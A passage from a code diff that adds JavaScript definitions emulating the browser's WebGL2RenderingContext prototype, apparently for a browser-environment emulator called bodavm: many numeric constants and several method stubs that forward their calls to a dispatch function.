+ value: 35977 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_TRANSFORM_FEEDBACK_INTERLEAVED_COMPONENTS", { + configurable: false, + enumerable: true, + writable: false, + value: 35978 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_TRANSFORM_FEEDBACK_SEPARATE_ATTRIBS", { + configurable: false, + enumerable: true, + writable: false, + value: 35979 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INTERLEAVED_ATTRIBS", { + configurable: false, + enumerable: true, + writable: false, + value: 35980 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SEPARATE_ATTRIBS", { + configurable: false, + enumerable: true, + writable: false, + value: 35981 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_BUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 35982 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_BUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 35983 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA32UI", { + configurable: false, + enumerable: true, + writable: false, + value: 36208 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB32UI", { + configurable: false, + enumerable: true, + writable: false, + value: 36209 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA16UI", { + configurable: false, + enumerable: true, + writable: false, + value: 36214 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB16UI", { + configurable: false, + enumerable: true, + writable: false, + value: 36215 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA8UI", { + configurable: false, + enumerable: true, + writable: false, + value: 36220 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB8UI", { + configurable: false, + enumerable: true, + writable: false, + value: 36221 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA32I", { + configurable: false, + enumerable: true, + writable: false, + value: 36226 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB32I", { + configurable: false, + enumerable: true, + writable: false, + value: 36227 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA16I", { + configurable: false, + enumerable: true, + writable: false, + value: 36232 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB16I", { + configurable: false, + enumerable: true, + writable: false, + value: 36233 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA8I", { + configurable: false, + enumerable: true, + writable: false, + value: 36238 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB8I", { + configurable: false, + enumerable: true, + writable: false, + value: 36239 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RED_INTEGER", { + configurable: false, + enumerable: true, + writable: false, + value: 36244 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB_INTEGER", { + configurable: false, + enumerable: true, + writable: false, + value: 36248 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA_INTEGER", { + configurable: false, + enumerable: true, + writable: false, + value: 36249 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_2D_ARRAY", { + configurable: false, + enumerable: true, + writable: false, + value: 36289 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_2D_ARRAY_SHADOW", { + configurable: false, + enumerable: true, + writable: false, + value: 36292 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_CUBE_SHADOW", { + configurable: false, + enumerable: true, + writable: false, + value: 36293 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_VEC2", { + configurable: false, + enumerable: true, + writable: false, + value: 36294 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_VEC3", { + configurable: false, + enumerable: true, + writable: false, + value: 36295 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_VEC4", { + configurable: false, + enumerable: true, + writable: false, + value: 36296 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_SAMPLER_2D", { + configurable: false, + enumerable: true, + writable: false, + value: 36298 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_SAMPLER_3D", { + configurable: false, + enumerable: true, + writable: false, + value: 36299 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_SAMPLER_CUBE", { + configurable: false, + enumerable: true, + writable: false, + value: 36300 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_SAMPLER_2D_ARRAY", { + configurable: false, + enumerable: true, + writable: false, + value: 36303 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_SAMPLER_2D", { + configurable: false, + enumerable: true, + writable: false, + value: 36306 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_SAMPLER_3D", { + configurable: false, + enumerable: true, + writable: false, + value: 36307 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_SAMPLER_CUBE", { + configurable: false, + enumerable: true, + writable: false, + value: 36308 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_SAMPLER_2D_ARRAY", { + configurable: false, + enumerable: true, + writable: false, + value: 36311 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_COMPONENT32F", { + configurable: false, + enumerable: true, + writable: false, + value: 36012 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH32F_STENCIL8", { + configurable: false, + enumerable: true, + writable: false, + value: 36013 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_32_UNSIGNED_INT_24_8_REV", { + configurable: false, + enumerable: true, + writable: false, + value: 36269 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_COLOR_ENCODING", { + configurable: false, + enumerable: true, + writable: false, + value: 33296 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_COMPONENT_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 33297 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_RED_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 33298 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_GREEN_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 33299 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_BLUE_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 33300 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_ALPHA_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 33301 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_DEPTH_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 33302 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_STENCIL_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 33303 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_DEFAULT", { + configurable: false, + enumerable: true, + writable: false, + value: 33304 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_24_8", { + configurable: false, + enumerable: true, + writable: false, + value: 34042 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH24_STENCIL8", { + configurable: false, + enumerable: true, + writable: false, + value: 35056 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_NORMALIZED", { + configurable: false, + enumerable: true, + writable: false, + value: 35863 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_FRAMEBUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 36006 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "READ_FRAMEBUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 36008 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_FRAMEBUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 36009 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "READ_FRAMEBUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 36010 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_SAMPLES", { + configurable: false, + enumerable: true, + writable: false, + value: 36011 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_TEXTURE_LAYER", { + configurable: false, + enumerable: true, + writable: false, + value: 36052 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_COLOR_ATTACHMENTS", { + configurable: false, + enumerable: true, + writable: false, + value: 36063 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT1", { + configurable: false, + enumerable: true, + writable: false, + value: 36065 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT2", { + configurable: false, + enumerable: true, + writable: false, + value: 36066 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT3", { + configurable: false, + enumerable: true, + writable: false, + value: 36067 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT4", { + configurable: false, + enumerable: true, + writable: false, + value: 36068 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT5", { + configurable: false, + enumerable: true, + writable: false, + value: 36069 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT6", { + configurable: false, + enumerable: true, + writable: false, + value: 36070 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT7", { + configurable: false, + enumerable: true, + writable: false, + value: 36071 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT8", { + configurable: false, + enumerable: true, + writable: false, + value: 36072 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT9", { + configurable: false, + enumerable: true, + writable: false, + value: 36073 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT10", { + configurable: false, + enumerable: true, + writable: false, + value: 36074 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT11", { + configurable: false, + enumerable: true, + writable: false, + value: 36075 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT12", { + configurable: false, + enumerable: true, + writable: false, + value: 36076 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT13", { + configurable: false, + enumerable: true, + writable: false, + value: 36077 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT14", { + configurable: false, + enumerable: true, + writable: false, + value: 36078 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT15", { + configurable: false, + enumerable: true, + writable: false, + value: 36079 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_INCOMPLETE_MULTISAMPLE", { + configurable: false, + enumerable: true, + writable: false, + value: 36182 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_SAMPLES", { + configurable: false, + enumerable: true, + writable: false, + value: 36183 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "HALF_FLOAT", { + configurable: false, + enumerable: true, + writable: false, + value: 5131 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG", { + configurable: false, + enumerable: true, + writable: false, + value: 33319 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG_INTEGER", { + configurable: false, + enumerable: true, + writable: false, + value: 33320 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R8", { + configurable: false, + enumerable: true, + writable: false, + value: 33321 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG8", { + configurable: false, + enumerable: true, + writable: false, + value: 33323 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R16F", { + configurable: false, + enumerable: true, + writable: false, + value: 33325 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R32F", { + configurable: false, + enumerable: true, + writable: false, + value: 33326 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG16F", { + configurable: false, + enumerable: true, + writable: false, + value: 33327 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG32F", { + configurable: false, + enumerable: true, + writable: false, + value: 33328 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R8I", { + configurable: false, + enumerable: true, + writable: false, + value: 33329 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R8UI", { + configurable: false, + enumerable: true, + writable: false, + value: 33330 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R16I", { + configurable: false, + enumerable: true, + writable: false, + value: 33331 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R16UI", { + configurable: false, + enumerable: true, + writable: false, + value: 33332 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R32I", { + configurable: false, + enumerable: true, + writable: false, + value: 33333 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R32UI", { + configurable: false, + enumerable: true, + writable: false, + value: 33334 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG8I", { + configurable: false, + enumerable: true, + writable: false, + value: 33335 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG8UI", { + configurable: false, + enumerable: true, + writable: false, + value: 33336 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG16I", { + configurable: false, + enumerable: true, + writable: false, + value: 33337 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG16UI", { + configurable: false, + enumerable: true, + writable: false, + value: 33338 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG32I", { + configurable: false, + enumerable: true, + writable: false, + value: 33339 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG32UI", { + configurable: false, + enumerable: true, + writable: false, + value: 33340 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ARRAY_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 34229 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R8_SNORM", { + configurable: false, + enumerable: true, + writable: false, + value: 36756 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG8_SNORM", { + configurable: false, + enumerable: true, + writable: false, + value: 36757 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB8_SNORM", { + configurable: false, + enumerable: true, + writable: false, + value: 36758 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA8_SNORM", { + configurable: false, + enumerable: true, + writable: false, + value: 36759 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SIGNED_NORMALIZED", { + configurable: false, + enumerable: true, + writable: false, + value: 36764 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COPY_READ_BUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 36662 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COPY_WRITE_BUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 36663 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COPY_READ_BUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 36662 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COPY_WRITE_BUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 36663 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 35345 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 35368 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BUFFER_START", { + configurable: false, + enumerable: true, + writable: false, + value: 35369 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BUFFER_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 35370 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VERTEX_UNIFORM_BLOCKS", { + configurable: false, + enumerable: true, + writable: false, + value: 35371 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_FRAGMENT_UNIFORM_BLOCKS", { + configurable: false, + enumerable: true, + writable: false, + value: 35373 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_COMBINED_UNIFORM_BLOCKS", { + configurable: false, + enumerable: true, + writable: false, + value: 35374 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_UNIFORM_BUFFER_BINDINGS", { + configurable: false, + enumerable: true, + writable: false, + value: 35375 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_UNIFORM_BLOCK_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 35376 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_COMBINED_VERTEX_UNIFORM_COMPONENTS", { + configurable: false, + enumerable: true, + writable: false, + value: 35377 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_COMBINED_FRAGMENT_UNIFORM_COMPONENTS", { + configurable: false, + enumerable: true, + writable: false, + value: 35379 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BUFFER_OFFSET_ALIGNMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 35380 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ACTIVE_UNIFORM_BLOCKS", { + configurable: false, + enumerable: true, + writable: false, + value: 35382 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 35383 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 35384 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_INDEX", { + configurable: false, + enumerable: true, + writable: false, + value: 35386 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_OFFSET", { + configurable: false, + enumerable: true, + writable: false, + value: 35387 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_ARRAY_STRIDE", { + configurable: false, + enumerable: true, + writable: false, + value: 35388 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_MATRIX_STRIDE", { + configurable: false, + enumerable: true, + writable: false, + value: 35389 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_IS_ROW_MAJOR", { + configurable: false, + enumerable: true, + writable: false, + value: 35390 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 35391 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_DATA_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 35392 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_ACTIVE_UNIFORMS", { + configurable: false, + enumerable: true, + writable: false, + value: 35394 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_ACTIVE_UNIFORM_INDICES", { + configurable: false, + enumerable: true, + writable: false, + value: 35395 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_REFERENCED_BY_VERTEX_SHADER", { + configurable: false, + enumerable: true, + writable: false, + value: 35396 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_REFERENCED_BY_FRAGMENT_SHADER", { + configurable: false, + enumerable: true, + writable: false, + value: 35398 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INVALID_INDEX", { + configurable: false, + enumerable: true, + writable: false, + value: 4294967295 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VERTEX_OUTPUT_COMPONENTS", { + configurable: false, + enumerable: true, + writable: false, + value: 37154 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_FRAGMENT_INPUT_COMPONENTS", { + configurable: false, + enumerable: true, + writable: false, + value: 37157 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_SERVER_WAIT_TIMEOUT", { + configurable: false, + enumerable: true, + writable: false, + value: 37137 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "OBJECT_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 37138 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SYNC_CONDITION", { + configurable: false, + enumerable: true, + writable: false, + value: 37139 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SYNC_STATUS", { + configurable: false, + enumerable: true, + writable: false, + value: 37140 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SYNC_FLAGS", { + configurable: false, + enumerable: true, + writable: false, + value: 37141 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SYNC_FENCE", { + configurable: false, + enumerable: true, + writable: false, + value: 37142 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SYNC_GPU_COMMANDS_COMPLETE", { + configurable: false, + enumerable: true, + writable: false, + value: 37143 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNALED", { + configurable: false, + enumerable: true, + writable: false, + value: 37144 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SIGNALED", { + configurable: false, + enumerable: true, + writable: false, + value: 37145 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ALREADY_SIGNALED", { + configurable: false, + enumerable: true, + writable: false, + value: 37146 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TIMEOUT_EXPIRED", { + configurable: false, + enumerable: true, + writable: false, + value: 37147 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CONDITION_SATISFIED", { + configurable: false, + enumerable: true, + writable: false, + value: 37148 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "WAIT_FAILED", { + configurable: false, + enumerable: true, + writable: false, + value: 37149 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SYNC_FLUSH_COMMANDS_BIT", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_DIVISOR", { + configurable: false, + enumerable: true, + writable: false, + value: 35070 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ANY_SAMPLES_PASSED", { + configurable: false, + enumerable: true, + writable: false, + value: 35887 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ANY_SAMPLES_PASSED_CONSERVATIVE", { + configurable: false, + enumerable: true, + writable: false, + value: 36202 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 35097 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB10_A2UI", { + configurable: false, + enumerable: true, + writable: false, + value: 36975 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_2_10_10_10_REV", { + configurable: false, + enumerable: true, + writable: false, + value: 36255 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK", { + configurable: false, + enumerable: true, + writable: false, + value: 36386 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_PAUSED", { + configurable: false, + enumerable: true, + writable: false, + value: 36387 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_ACTIVE", { + configurable: false, + enumerable: true, + writable: false, + value: 36388 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 36389 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_IMMUTABLE_FORMAT", { + configurable: false, + enumerable: true, + writable: false, + value: 37167 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_ELEMENT_INDEX", { + configurable: false, + enumerable: true, + writable: false, + value: 36203 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_IMMUTABLE_LEVELS", { + configurable: false, + enumerable: true, + writable: false, + value: 33503 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TIMEOUT_IGNORED", { + configurable: false, + enumerable: true, + writable: false, + value: -1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_CLIENT_WAIT_TIMEOUT_WEBGL", { + configurable: false, + enumerable: true, + writable: false, + value: 37447 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "activeTexture", { + configurable: true, + enumerable: true, + writable: true, + value: function activeTexture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "activeTexture", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "attachShader", { + configurable: true, + enumerable: true, + writable: true, + value: function attachShader() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "attachShader", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "beginQuery", { + configurable: true, + enumerable: true, + writable: true, + value: function beginQuery() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "beginQuery", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "beginTransformFeedback", { + configurable: true, + enumerable: true, + writable: true, + value: function beginTransformFeedback() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "beginTransformFeedback", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "bindAttribLocation", { + configurable: true, + enumerable: true, + writable: true, + value: function bindAttribLocation() { + return bodavm.toolsFunc.dispatch(this, 